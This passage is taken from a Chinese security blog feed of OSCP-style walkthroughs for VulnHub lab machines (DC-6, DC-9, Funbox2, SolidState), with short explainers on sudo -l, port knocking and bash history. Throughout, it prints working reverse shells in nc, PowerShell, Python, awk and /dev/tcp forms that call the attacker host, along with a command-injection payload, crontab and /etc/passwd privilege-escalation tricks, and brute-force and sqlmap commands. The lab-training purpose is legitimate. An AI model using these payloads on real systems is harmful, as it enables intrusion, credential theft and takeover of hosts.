System.Net.Sockets.TcpListener(\u0026#39;172.168.169.128\u0026#39;, 8888); $listener.start(); $client = $listener.AcceptTcpClient(); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535 | % {0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String); $sendback2 = $sendback + \u0026#39;PS \u0026#39; + (pwd).Path + \u0026#39;\u0026gt; \u0026#39;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush(); $client.Close(); $listener.Stop() } 由于之前我们已经用命令下载了nc.exe，所以我们可以在window上用nc方便快捷的建立一个反弹shell。\n1./nc.exe 172.168.169.128 4444 -e cmd.exe 然后在kali上监听4444端口即可。\n1 nc -nlvp 4444 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-14T16:44:55Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day11-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powershell/","title":"Day11 Kali渗透工具Powershell"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nDC-6 靶场文件下载地址： https://download.vulnhub.com/dc/DC-6.zip\n信息收集 sudo arp-scan -l nmap -sS -sV -A -T5 -p- 172.168.169.132 dirsearch -u http://wordy/ -i 200 只有22，80端口开放，从80端口的扫描结果看，页面重定向到了Wordy的一个域名（也不是真域名），我们要改一下Host文件才能正常解析。\n修改host文件，末尾添加这行才能正常解析。\n打开网页是一个典型的WordPress默认界面，这是个博客CMS系统，一般有很多漏洞，而且应该有管理员登录地址，后台应该还存在一个数据库用于储存博客文章。\n扫描目录发现admin的地址，在登录页面尝试重置密码失败，提示没有启动邮件服务。\n有一个页面泄露了信息。curl一下发现存在目录遍历，用脚本把能下载的数据都拖下来分析一下。\n1curl -I http://wordy/wp-includes/ 2 3wget --recursive --no-parent --convert-links --random-wait \\ 4 --limit-rate=100k --user-agent=\u0026#34;Mozilla/5.0\u0026#34; \\ 5 --execute robots=off --no-check-certificate \\ 6 http://wordy/wp-includes/ 但是所有的php文件都是下载失败，下载成功的txt文件没有什么收获。\n1curl -s http://wordy/wp-includes/.git/HEAD 2curl -s http://wordy/wp-includes/.svn/entries 尝试寻找git泄露和svn泄露也失败了。\n密码爆破 这里根据官网提示，密码在rokyou.txt 文件中，然后用kali自带的专门的针对word press的工具WPscan来爆破密码。\ncat /usr/share/wordlists/rockyou.txt | grep k01 \u0026gt; passwords.txt # 靶机官网给的提示密码 wpscan --url http://wordy -e u # 扫描可能存在的用户名 wpscan --url http://wordy -U user.txt -P passwords.txt 提示存在上面5个用户名，保存成user.txt然后用密码表爆。\n1[SUCCESS] - mark / helpdesk01 看到爆破成功的密码。\nWP漏洞 用密码登录\n可以看到插件管理页面有个IP tools，可以ping IP，然后执行命令。\nKali本地开启4444监听 nc -lvp 4444。\n1127.0.0.1|nc 172.168.169.128 4444 -e /bin/bash Burp抓包修改字段，反弹Shell。\n1python -c \u0026#34;import pty;pty.spawn(\u0026#39;/bin/bash\u0026#39;)\u0026#34; 获取稳定的交互式shell，查找服务器文件，发现home下有各个账户的文件夹，Jens目录下有个打包整个网站的脚本，这样我们就可以下载整个网页源码用于分析。\n而Mark文件夹下有个待办清单，里面提示了新建了一个graham账户，密码是 GSo7isUM1D4 已完成。\n成功用密码登录graham的ssh。\n1ssh graham@172.168.169.132 提权 find / -perm -u=s -type f 2\u0026gt;/dev/null sudo -l 查看sudo -l 下的内容，发现有jens用户权限执行的脚本，正是刚才我们刚才看见的shell脚本。还提示了不用密码就可以执行，所以我们把弹shell的脚本写进去，用jens去做sudu，应该能弹回jens权限的shell。\n1echo \u0026#34;nc 172.168.169.128 4444 -e /bin/bash\u0026#34; \u0026gt;\u0026gt; backups.sh 2sudo -u jens /home/jens/backups.sh 限制登录了jens的终端，但是还是没有root。老样子，查看一下sudo -l\n用nmap打开一个写了后门的nse文件，应该就能提权。\n1echo \u0026#39;os.execute(\u0026#34;/bin/sh\u0026#34;)\u0026#39; \u0026gt;getshell.nse 2sudo nmap --script=getshell.nse 其他 用jens扫搞nmap命令，想着一句话进root但是失败了，偶然扫出来有mysql端口，所以说，WordPress是一定有数据库的，一开始没扫出来可能是因为关闭的开放权限。既然，来都来了，顺手搞一下数据库。\n1nmap -p3306 -sV --script=mysql-info 127.0.0.1 1 scp -P 22 ./Downloads/KaliLearn/fscan graham@172.168.169.132:/home/graham 用scp命令把fscan工具传上去扫一下，后面听说数据库加密的挺横就放弃了，以后再想办法\n关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nDC-9 靶场文件下载地址：https://download.vulnhub.com/dc/DC-9.zip\n信息收集 扫描发现靶机地址为133\n打开浏览器看一眼80端口有没有网页，可以看到有apache\n扫一遍端口也只发现有80端口可以利用，22端口开放但是目前是关闭状态。\n查看网页发现有如下界面，非常明显的提示，可能存在sql注入。\n手动注入万能密码发现存在注入\n11\u0026#39; or 1=1# 抓包使用sql注入\nsql注入 1sqlmap -u \u0026#34;http://172.168.169.133/results.php\u0026#34; --data \u0026#34;search=1\u0026#34; --dbs 2sqlmap -u \u0026#34;http://172.168.169.133/results.php\u0026#34; --data \u0026#34;search=1\u0026#34; -D users --tables 3sqlmap -u \u0026#34;http://172.168.169.133/results.php\u0026#34; --data \u0026#34;search=1\u0026#34; -D users -T UserDetails --columns 4sqlmap -u \u0026#34;http://172.168.169.133/results.php\u0026#34; --data \u0026#34;search=1\u0026#34; -D users -T UserDetails -C “id,username,password,firstname,lastname,reg_date” --dump 但是这几个密码登陆不了，再看看别的表。\n1sqlmap -u \u0026#34;http://172.168.169.133/results.php\u0026#34; --data \u0026#34;search=1\u0026#34; -D Staff -T \u0026#34;StaffDetails,Users\u0026#34; --dump 爆出来一个admin用户名和密码这个加密已经自动解出了是transorbital1\n管理员的界面多了一个添加记录的功能，但是我们发现左下角有个文件不存在的提示，说明这个网页是解析了一个什么文件，但是靶机文件不存在。网页应该用了文件包含文件解析之类的功能，先尝试一下文件包含漏洞。\n文件包含 1http://172.168.169.133/addrecord.php/?file=../../../../../etc/passwd 然后查询ssh的22端口的开门密码，因为原来的22的关闭状态，虽然有这个服务，但是端口没开。开门密码就是把这个端口给打开的一个作用\n1http://172.168.169.133/addrecord.php/?file=../../../../../etc/knockd.conf 敲门打开ssh 1 nc -v -w 1 172.168.169.133 7469 2 nc -v -w 1 172.168.169.133 8475 3 nc -v -w 1 172.168.169.133 9842 敲完门发现ssh打开了。\nhydra密码爆破 把之前sqlmap爆出来的表格中用户名和密码单独存为user.txt和passwd.txt。这个表格在/home/kali/.local/share/sqlmap/output/172.168.169.133/dump/users/UserDetails.csv\n1hydra -L user.txt -P passwd.txt ssh://172.168.169.133 然后用hydra带上用户名和密码爆破。\n1[DATA] attacking ssh://172.168.169.133:22/ 2[22][ssh] host: 172.168.169.133 login: chandlerb password: UrAG0D! 3[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd 4[22][ssh] host: 172.168.169.133 login: janitor password: Ilovepeepee 进账户搜账户下文件，发现history都被销毁了，只有janitor账户下有新东西。\n1janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 2BamBam01 3Passw0rd 4smellycats 5P0Lic#10-4 6B4-Tru3-001 74uGU5T-NiGHts 再用这些密码继续爆破密码。\n1[DATA] attacking ssh://172.168.169.133:22/ 2[22][ssh] host: 172.168.169.133 login: fredf password: B4-Tru3-001 3[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd 爆破出来新的fredf的账户，joeyt我们已经登陆过了。\nfredf账户主页下面还是没有什么有价值的东西，但是fredf的权限组看起来应该是比之前的几个账户高的，之前的几个账户连运行sudo -l的权限都没有，而fredf有权限运行，且发现一个可以利用的脚本test。\n/etc/passwd 提权 test在一个dist文件夹下，这个dist是典型的python编译为二进制文件，打包后的目录，所以查看该目录下能发现test的源码。\n这个test的作用就是把2文件的内容加到1文件末尾，但是她是sudo权限，也就是说像/etc/passwd这样的文件它也可以加，我们可以加一个新账户，有root权限。注意这里的slat后面的单词：Salt 超过 8 字符导致截断，太长会导致验证时盐值不匹配。\nopenssl passwd -1 -salt MS02423 MS02423 cd /tmp # 不在tmp目录下echo输出的不对 echo \u0026#39;MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash\u0026#39; \u0026gt; MS02423 sudo /opt/devstuff/dist/test/test MS02423 /etc/passwd 整点花活，都有川建国了不是，再加一个拜振华。\ncrontab反弹提权 test这个脚本的功能，除了可以写用户名，还可以写crontab，可以用来执行红队的一些高危命令，进而达到提权目的。\n1*/5 * * * * /bin/nc 172.168.169.128 4444 -e /bin/sh 一开始想弹nc，但是发现nc命令用不了。但是他有些python的脚本那么python一定可以用。新建一个python脚本py3shell.py，写好攻击方法\n1import socket 2import subprocess 3import os 4 5# 设置目标主机和端口 6HOST = \u0026#39;172.168.169.128\u0026#39; # 替换为攻击者的 IP 地址 7PORT = 8888 # 替换为攻击者监听的端口 8 9# 创建 socket 对象并连接到攻击者 10s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11s.connect((HOST, PORT)) 12 13# 重定向标准输入、标准输出和标准错误 14os.dup2(s.fileno(), 0) # stdin 15os.dup2(s.fileno(), 1) # stdout 16os.dup2(s.fileno(), 2) # stderr 17 18# 执行 shell 19subprocess.call([\u0026#39;/bin/sh\u0026#39;, \u0026#39;-i\u0026#39;]) 再写一个用于test脚本写入crontab执行的文件111.txt，写入如下内容。\n1* * * * * root /usr/bin/python3 /tmp/py3shell.py 然后再用test把命令加岛crontab中去。\n1sudo /opt/devstuff/dist/test/test 11.txt /etc/crontab 一分钟后成功弹回。\nAWK反弹和直接提权（失败） 查找当前账户下可用来反弹shell的命令\nls /bin | grep -E \u0026#39;bash|sh|nc|netcat|socat|python|perl|php|ruby|telnet|openssl|awk|find\u0026#39; 发现有awk可以用，awk是可以直接提权的，不用写入crontab中。\n/bin/awk \u0026#39;BEGIN {s = \u0026#34;/inet/tcp/0/172.168.169.128/4444\u0026#34;; while(1) { do { printf \u0026#34;\u0026gt; \u0026#34; |\u0026amp; s; s |\u0026amp; getline c; if(c) { while ((c |\u0026amp; getline) \u0026gt; 0) print $0 |\u0026amp; s; close(c); } } while(c != \u0026#34;exit\u0026#34;) } }\u0026#39; 尝试了这些命令都用不了，在root账户情况下，awk可以用，telnet也可以用，但是反弹没有回显\n1*/5 * * * * /bin/bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/172.168.169.128/4444 0\u0026gt;\u0026amp;1\u0026#39; 2 /bin/telnet 172.168.169.128 4444 | /bin/sh | /bin/telnet 172.168.169.128 4444 除了反弹shell，awk还可以直接提权https://gtfobins.github.io/，但是这个靶机用不了\n关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n补充知识点：Sudo -l 的作用 sudo -l 是 Linux/Unix 系统中用于 查看当前用户的 sudo 权限 的命令，它能显示用户被允许执行的命令列表、目标用户身份（如 root）以及是否需要密码验证。\n核心作用 权限审计\n检查当前用户可以通过 sudo 执行哪些特权命令，避免权限滥用。\n安全测试\n渗透测试中快速识别可能的提权路径（如无密码执行危险命令）。\n使用场景 系统管理：验证用户权限是否符合最小化原则。 安全渗透：寻找配置不当的 sudo 规则以提升权限。 故障排查：确认用户是否有权执行特定命令。 命令输出解析 运行命令：\n1sudo -l 典型输出示例：\n1Matching Defaults entries for user1 on host: 2 env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin 3 4User user1 may run the following commands on host: 5 (root) NOPASSWD: /usr/bin/apt 6 (admin) PASSWD: /usr/bin/systemctl restart nginx (root): 允许以 root 身份运行命令。 NOPASSWD: 执行该命令 无需密码。 PASSWD: 执行该命令 需要密码。 安全风险示例 场景 1：无密码执行特权命令 1User alice may run the following commands: 2 (ALL) NOPASSWD: /usr/bin/vim /etc/sudoers 攻击方法：\n通过 sudo vim /etc/sudoers 直接修改权限配置，添加提权规则。 场景 2：滥用可执行程序 1User bob may run the following commands: 2 (root) NOPASSWD: /usr/bin/python3 /scripts/*.py 攻击方法：\n若可写入 /scripts/ 目录，替换恶意脚本并执行 sudo python3 /scripts/exploit.py。 防御建议 最小权限原则\n仅授予必要的命令权限，避免使用 ALL 或通配符（*）。 示例：user1 ALL=(root) /usr/bin/apt update（仅允许更新软件包）。 密码验证\n敏感操作强制密码验证：PASSWD: /usr/bin/systemctl * 审计配置\n定期检查 /etc/sudoers 文件及 /etc/sudoers.d/ 目录： 1sudo visudo # 安全编辑配置文件 操作演示 查看当前用户权限： 1sudo -l 检查其他用户权限（需 root 权限）： 1sudo -l -U username 总结 sudo -l 是权限管理和渗透测试中的关键命令：\n对管理员：确保权限配置安全，避免过度授权。 对攻击者：快速定位提权路径（如无密码执行 apt、find、vim 等）。 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n补充知识点：敲门 一、端口敲门（Port Knocking）原理 通过按特定顺序访问一组预先定义的关闭的端口，触发服务器上的 knockd 服务动态修改防火墙规则（如 iptables），从而临时开放目标服务端口（如SSH的22端口）。\n二、使用 nc 命令触发敲门 ​​1. 基础命令​​ 假设敲门顺序为 1000 -\u0026gt; 2000 -\u0026gt; 3000（TCP协议）：\n1nc -v -w 1 target_ip 1000 # 敲门步骤1 2nc -v -w 1 target_ip 2000 # 敲门步骤2 3nc -v -w 1 target_ip 3000 # 敲门步骤3 2. 使用 UDP 协议敲门 如果敲门端口使用 UDP：\n1nc -v -u -w 1 target_ip 1000 # UDP敲门 3. 一键触发多端口 通过 \u0026amp;\u0026amp; 连接多个命令（按顺序执行）：\n1nc -zv target_ip 1000 \u0026amp;\u0026amp; nc -zv target_ip 2000 \u0026amp;\u0026amp; nc -zv target_ip 3000 4. IPv6 环境\n1nc -zv -6 target_ipv6 1000 参数说明\n-v：显示详细输出（可选）\n-z：只发送探测包，不传输数据\n-w 1：超时1秒\n-u：使用UDP协议\n三、类似功能的替代命令 ​​1. 使用 curl（HTTP模拟）​​ 如果敲门服务监听HTTP端口（非标准用法）：\n1curl http://target_ip:1000 # 模拟敲门步骤 2. 使用 nmap 发送探测包\n1nmap -Pn --host-timeout 100 --max-retries 0 -p 1000,2000,3000 target_ip 3. 使用 telnet\n1telnet target_ip 1000 # 敲门步骤（需手动关闭连接） 4. 使用 /dev/tcp（Bash内置）\n1timeout 1 bash -c \u0026#34;echo \u0026gt; /dev/tcp/target_ip/1000\u0026#34; # 敲门步骤1 5. 专用工具 hping3 发送自定义TCP/UDP包：\n1hping3 -S -p 1000 -c 1 target_ip # SYN包敲门 6. 使用 socat\n1socat - TCP:target_ip:1000 # 敲门步骤 四、knockd 配置示例 ​​1. /etc/knockd.conf 配置文件​​\n1[options] 2 logfile = /var/log/knockd.log 3 4[openSSH] 5 sequence = 1000:tcp,2000:udp,3000:tcp # 敲门顺序 6 seq_timeout = 10 # 超时时间（秒） 7 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 开门规则 8 tcpflags = syn # 仅响应SYN包 9 10[closeSSH] 11 sequence = 4000,5000,6000 # 关闭SSH的敲门顺序 12 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 2. 启动 knockd\n1systemctl start knockd # 使用systemd 五、替代工具推荐 ​​1. fwknop (Single Packet Authorization)​​\n更安全的替代方案，使用单包授权（加密+HMAC验证）\n安装：apt install fwknop-server\n客户端命令：\n1fwknop -A tcp/22 -D target_ip --key-base64 \u0026#34;加密密钥\u0026#34; 2. 自定义脚本 使用 tcpdump 或 tshark 监听特定端口序列，触发防火墙规则变更。\n六、注意事项\n防火墙规则：确保服务器上的防火墙（如 iptables/nftables）默认阻止目标端口。 超时设置：knockd 的 seq_timeout 需合理配置，避免敲门失败。 加密建议：普通端口敲门（无加密）可能被嗅探，建议结合 fwknop 使用加密。 日志监控：检查 /var/log/knockd.log 调试敲门过程。 随机化端口顺序：避免使用固定顺序的端口，防止被暴力破解。 七、总结\n基础方案：nc + knockd\n安全增强：fwknop（推荐用于生产环境）\n快速测试：nmap 或 /dev/tcp 模拟敲门\n根据你的需求选择工具，优先考虑加密方案保护敏感服务！\n关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n补充知识点：history怎么不见了 问题解析 你提到的 .bash_history -\u0026gt; /dev/null 是一个符号链接（Symbolic Link），它将用户的家目录下的 Bash 历史记录文件 .bash_history 指向了系统黑洞设备 /dev/null。这是导致你使用 history 命令查不到历史命令的直接原因。\n详细解释\n1. .bash_history 的作用\n功能：Bash 终端会记录用户输入的命令，默认保存在 ~/.bash_history 文件中。\n触发时机：\n用户退出终端时，内存中的命令历史会写入 .bash_history。\n用户登录时，Bash 会从 .bash_history 加载历史命令。\n2. /dev/null 的作用\n系统黑洞：任何写入 /dev/null 的数据会被直接丢弃，读取 /dev/null 会立即返回 EOF（空内容）。\n效果：\n当 .bash_history 被链接到 /dev/null 时：\n◦ 退出终端时，历史命令会被写入 `/dev/null`（即永久丢失）。 ◦ 登录终端时，Bash 尝试从 `/dev/null` 加载历史命令（得到空内容）。 3. 验证符号链接 执行以下命令检查 .bash_history 是否指向 /dev/null：\n1ls -l ~/.bash_history 若输出类似：\n1lrwxrwxrwx 1 user user 11 Jan 1 00:00 /home/user/.bash_history -\u0026gt; /dev/null 则确认符号链接存在。\n为什么历史命令消失了？\n原因 1：符号链接导致历史无法保存。\n每次退出终端时，历史命令被写入 /dev/null 并被丢弃。\n下次登录时，Bash 从 /dev/null 读取历史（得到空内容）。\n原因 2：内存中的历史未被持久化。\n即使当前终端会话中能看到 history 命令的输出（内存中的临时记录），退出后这些记录也不会保存。\n恢复历史记录的步骤\n1. 删除符号链接\n1rm ~/.bash_history 2. 重建原始文件\n1touch ~/.bash_history 3. 确保 Bash 配置正确 检查 ~/.bashrc 或 ~/.bash_profile 中是否包含以下配置（确保历史记录功能未被禁用）：\n1# 确保以下变量未被设为 0 或空 2HISTSIZE=1000 # 内存中保存的历史命令数量 3HISTFILESIZE=2000 # 文件中保存的历史命令数量 4export HISTCONTROL=ignoredups # 可选：忽略重复命令 4. 重新加载配置\n1source ~/.bashrc 防止历史记录丢失的配置 ​​1. 锁定历史文件（只允许追加）​​\n1chattr +a ~/.bash_history # 仅 root 可删除此文件（需 ext4 文件系统） 2. 实时写入历史（无需退出终端） 在 ~/.bashrc 中添加：\n1# 实时追加命令到历史文件，而不是退出时保存 2PROMPT_COMMAND=\u0026#39;history -a\u0026#39; 可能的安全隐患\n操作背景：此类符号链接常见于攻击者掩盖入侵痕迹（如删除操作日志）。 建议检查： 检查系统是否被入侵：lastlog, who, /var/log/auth.log。 检查其他用户是否被篡改：ls -l /home/*/.bash_history。 总结\n直接原因：.bash_history -\u0026gt; /dev/null 导致历史记录被丢弃。\n解决方案：删除符号链接并重建文件，检查 Bash 配置。\n安全建议：排查系统是否被恶意修改，加强权限控制。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-07T16:14:33Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day10-dc-6-dc-9%E9%9D%B6%E5%9C%BAwp/","title":"Day10 DC-6、DC-9靶场WP"},{"content":" 泷羽Sec-静安，专注网络安全与编程技术的学习与分享，探索技术细节与实际应用。声明：本公众号所分享的工具与资源，仅供学习与研究使用，严禁用于任何非法活动。后台回复“配套工具”获取本文的工具\nFunbox2 靶机Funbox: Rookie 靶机下载地址：https://download.vulnhub.com/funbox/Funbox2.ova\n靶机导入错误的解决办法 如果导入靶机错误，或者找不到网址，可以按如下方式修改。重启虚机，并持续按 \u0026lsquo;Shift\u0026rsquo; 键，然后按e进入如下界面，修改 ro 处，如果 ro 后面还有其他设置的话，一并删除就可以，把 ro 修改成 rw signie init=/bin/bash\n修改 /etc/netplan/*.yaml 文件，改网卡名字。\n需修改文件/etc/network/interfaces 修改网卡为ens33\nhttps://www.vulnhub.cn/post/vulnhub-vm-ip/\n信息收集 sudo arp-scan -l 扫描发现新网段\nnmap -sV 172.168.169.130 扫描端口\nnmap --script=vuln -p21,22,80 172.168.169.130扫描漏洞\n80端口是一个初始网页，然后再看robots.txt下提示有个logs文件。\n扫描目录也没有发现什么有用的信息。这里看了别的博客，发现有人尝试了FTP和SSH的相关漏洞用msf也打不进去，目前学习就不占用时间验证了，等着二刷再试试别的办法。\nFTP匿名登陆 尝试用 ftp 172.168.169.130 登录，发现可以用 anonymous 匿名登录。\n用 mget *命令下载所有文件。然后查看文件。\ncat welcome.msg Welcome, archive user %U@%R ! The local time is: %T This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to \u0026lt;root@%L\u0026gt;. cat .@admins | base64 -d Hi Admins, be carefull with your keys. Find them in %yourname%.zip. The passwords are the old ones. Regards root 密码爆破 提示密码在名字.zip文件里，但是这里又很多文件，解压其中一个发现要解压密码，先把压缩包转hash，然后用jonh爆hash。\nzip2john anna.zip \u0026gt; anna.hash john anna.hash --wordlist=../Downloads/dict/rockyou-top15000.txt 一个一个文件太麻烦了，让AI写了一个循环脚本。保存为zip2jhonhash.sh然后chmod +x zip2jhonhash.sh 最后执行，就能处理当前文件夹下的zip文件，爆破其密码。\n1#!/bin/bash 2 3# 定义字典路径（可根据需要修改） 4WORDLIST=\u0026#34;../Downloads/dict/rockyou-top15000.txt\u0026#34; 5 6# 检查必要命令是否存在 7command -v zip2john \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 || { echo \u0026gt;\u0026amp;2 \u0026#34;zip2john 未找到，请安装 John the Ripper\u0026#34;; exit 1; } 8command -v john \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 || { echo \u0026gt;\u0026amp;2 \u0026#34;john 未找到，请安装 John the Ripper\u0026#34;; exit 1; } 9 10# 检查字典文件是否存在 11if [ ! -f \u0026#34;$WORDLIST\u0026#34; ]; then 12 echo \u0026#34;字典文件不存在: $WORDLIST\u0026#34; 13 exit 1 14fi 15 16# 计数器初始化 17total=0 18processed=0 19 20# 获取所有 ZIP 文件 21mapfile -t zip_files \u0026lt; \u0026lt;(find . -maxdepth 1 -type f -name \u0026#34;*.zip\u0026#34; -printf \u0026#34;%f\\n\u0026#34;) 22 23total=${#zip_files[@]} 24if [ \u0026#34;$total\u0026#34; -eq 0 ]; then 25 echo \u0026#34;当前目录未找到 ZIP 文件\u0026#34; 26 exit 0 27fi 28 29echo \u0026#34;发现 $total 个 ZIP 文件，开始处理...\u0026#34; 30 31# 主循环处理 32for zipfile in \u0026#34;${zip_files[@]}\u0026#34;; do 33 ((processed++)) 34 35 # 生成哈希文件名 36 hashfile=\u0026#34;${zipfile%.zip}.hash\u0026#34; 37 38 echo -e \u0026#34;\\n[$processed/$total] 正在处理: $zipfile\u0026#34; 39 40 # 生成哈希文件 41 if ! zip2john \u0026#34;$zipfile\u0026#34; \u0026gt; \u0026#34;$hashfile\u0026#34;; then 42 echo \u0026#34;错误：无法生成哈希文件 $hashfile\u0026#34; 43 continue 44 fi 45 46 echo \u0026#34;生成哈希文件: $hashfile\u0026#34; 47 48 # 执行破解 49 echo \u0026#34;启动 John 破解进程...\u0026#34; 50 if john --progress-every=30 --wordlist=\u0026#34;$WORDLIST\u0026#34; \u0026#34;$hashfile\u0026#34;; then 51 echo -e \u0026#34;\\n成功破解 $zipfile 的密码:\u0026#34; 52 john --show \u0026#34;$hashfile\u0026#34; 53 else 54 echo \u0026#34;未能破解 $zipfile 的密码\u0026#34; 55 fi 56 57 # 清理临时文件（可选） 58 # rm -f \u0026#34;$hashfile\u0026#34; 59done 60 61echo -e \u0026#34;\\n所有文件处理完成\u0026#34; 解压出来tom.zip 得到一个登录密钥。\nSSH密钥登录 用ssh命令带密钥登录即可ssh tom@172.168.169.130 -i id_rsa\n发现目录下有mysql历史记录，查看。\n1 cat .mysql_history 2_HiStOrY_V2_ 3show\\040databases; 4quit 5create\\040database\\040\u0026#39;support\u0026#39;; 6create\\040database\\040support; 7use\\040support 8create\\040table\\040users; 9show\\040tables 10; 11select\\040*\\040from\\040support 12; 13show\\040tables; 14select\\040*\\040from\\040support; 15insert\\040into\\040support\\040(tom,\\040xx11yy22!); 16quit 替换\\40字符为空格，以为这里用的ascii码显示，然后发现tom的密码就是xx11yy22!。\n方法一：su root提权 方法二：mysql提权 sudo mysql -u tom -p \\! bash echo $shell id cd /root ls cat flag.txt SolidState靶场 靶机下载地址：https://download.vulnhub.com/solidstate/SolidState.zip\n信息收集 80端口打开网页如下\n扫描网站目录如下，没有什么特别的东西。\nReadme.txt是作者介绍靶场的由来\n回到之前的扫描结果中，除了80端口还开放了22端口，但是7.4的版本几乎没有poc能直接利用，还发现有25、110、 119端口开放似乎是搞了个JAMES的邮件系统。\n1└─$ nmap -sV 172.168.169.129 2Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:03 EDT 3Nmap scan report for 172.168.169.129 4Host is up (0.0033s latency). 5Not shown: 995 closed tcp ports (reset) 6PORT STATE SERVICE VERSION 722/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 825/tcp open smtp JAMES smtpd 2.3.2 980/tcp open http Apache httpd 2.4.25 ((Debian)) 10110/tcp open pop3 JAMES pop3d 2.3.2 11119/tcp open nntp JAMES nntpd (posting ok) 12MAC Address: 00:0C:29:3F:7E:60 (VMware) 13Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel 14 15Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 16Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds 再做一次细致的扫描 nmap -sS -sV -A -T5 -p- 172.168.169.129发现有4555端口是远程端口。\n1└─$ nmap -sS -sV -A -T5 -p- 172.168.169.129 2Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 05:19 EDT 3Nmap scan report for 172.168.169.129 4Host is up (0.0017s latency). 5Not shown: 65529 closed tcp ports (reset) 6PORT STATE SERVICE VERSION 722/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 8| ssh-hostkey: 9| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) 10| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) 11|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 1225/tcp open smtp JAMES smtpd 2.3.2 13|_smtp-commands: solidstate Hello nmap.scanme.org (172.168.169.128 [172.168.169.128]) 1480/tcp open http Apache httpd 2.4.25 ((Debian)) 15|_http-title: Home - Solid State Security 16|_http-server-header: Apache/2.4.25 (Debian) 17110/tcp open pop3 JAMES pop3d 2.3.2 18119/tcp open nntp JAMES nntpd (posting ok) 194555/tcp open james-admin JAMES Remote Admin 2.3.2 20MAC Address: 00:0C:29:3F:7E:60 (VMware) 21Device type: general purpose 22Running: Linux 3.X|4.X 23OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 24OS details: Linux 3.2 - 4.14 25Network Distance: 1 hop 26Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel 27 28TRACEROUTE 29HOP RTT ADDRESS 301 1.72 ms 172.168.169.129 31 32OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 33Nmap done: 1 IP address (1 host up) scanned in 83.89 seconds 输入命令nc 172.168.169.129 4555 发现可以直接root/root进，然后输入listusers发现有几个用户名。\n还能setpassword重设密码，把所有用户的密码都设为123456。然后用telnet登录邮件服务器。\n1telnet 172.168.169.129 110 # 登录邮件 2user john # 登录名 3pass 123456 # 登录密码 4list # 列出信件 5retr 1 # 读第一封信 可以看到James给John发了一封邮件让他限制Mindy的权限，然后给她一个临时密码。这里能收集到的信息有：\nJohn和James可能都是管理员，且有一定运维基础，所以他们的密码应该难以爆破和登入。 Mindy大概率是个新人，但是系统给他分配的账号可能包含一些高级权限，而Mindy目前不能完全控制平台。 John可能按照James的指示给Mindy一个密码，极有可能在John写给Mindy的邮件里。 所以我们下一步应该看Mindy的邮件。\n1user mindy 2+OK 3pass 123456 4+OK Welcome mindy 5list 6+OK 2 1945 71 1109 82 836 9. 10retr 1 11+OK Message follows 12Return-Path: 